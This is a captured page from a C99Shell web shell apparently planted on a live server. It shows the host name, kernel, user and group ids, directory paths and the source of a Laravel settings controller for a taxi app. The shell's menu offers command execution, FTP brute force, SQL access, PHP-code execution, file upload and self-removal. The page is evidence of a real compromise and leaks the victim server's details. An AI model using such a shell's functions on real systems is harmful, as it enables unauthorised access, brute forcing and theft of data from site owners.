!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/API/Client/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingsController.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\API\Client;
use 
Akaunting\Module\Facade as Module;

class 
SettingsController
{
    public function 
index()
    {
            
//Fill Payment options
            
$paymentOptions=[];
            foreach (
Module::all() as $key => $module) {
                    
//If Module is payment method, check if admin has approved usage
                    
if($module->get('isPaymentModule')){
                        
//check if admin has approved usage
                        
array_push($paymentOptions,[
                            
'name'=>__($module->get('alias')),
                            
'alias'=>$module->get('alias')
                        ]);
                    }
            }

            return 
response()->json([
                
'data' => [
                    
'app_name'=>config('app.name'),
                    
'single_mode'=>config('settings.single_mode'),
                    
'single_mode_id'=>config('settings.single_mode_id'),
                    
'single_mode_name'=>config('app.name'),
                    
'multi_city'=>config('settings.multi_city'),
                    
'currency'=>config('settings.cashier_currency'),
                    
'currency_sign'=>currency(config('settings.cashier_currency')),
                    
'enable_cod'=>!config('settings.hide_cod'),
                    
'enable_stripe'=>config('settings.enable_stripe'),
                    
'stripe_publish_key'=>config('settings.stripe_key'),
                    
'onesignal_android_app_id'=>config('settings.onesignal_android_app_id'),
                    
'onesignal_ios_app_id'=>config('settings.onesignal_ios_app_id'),
                    
'google_api_key'=>config('settings.google_maps_api_key'),
                    
'driver_percent_from_deliver'=>config('driver_percent_from_deliver',100),
                    
'payment_methods'=>$paymentOptions,
                    
'issd'=>config('app.issd',false),
                    
'isft'=>config('app.isft',false),
                    
'units'=>config('settings.units',"K"),
                ],
                
'status' => true,
                
'errMsg' => '',
            ]);
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--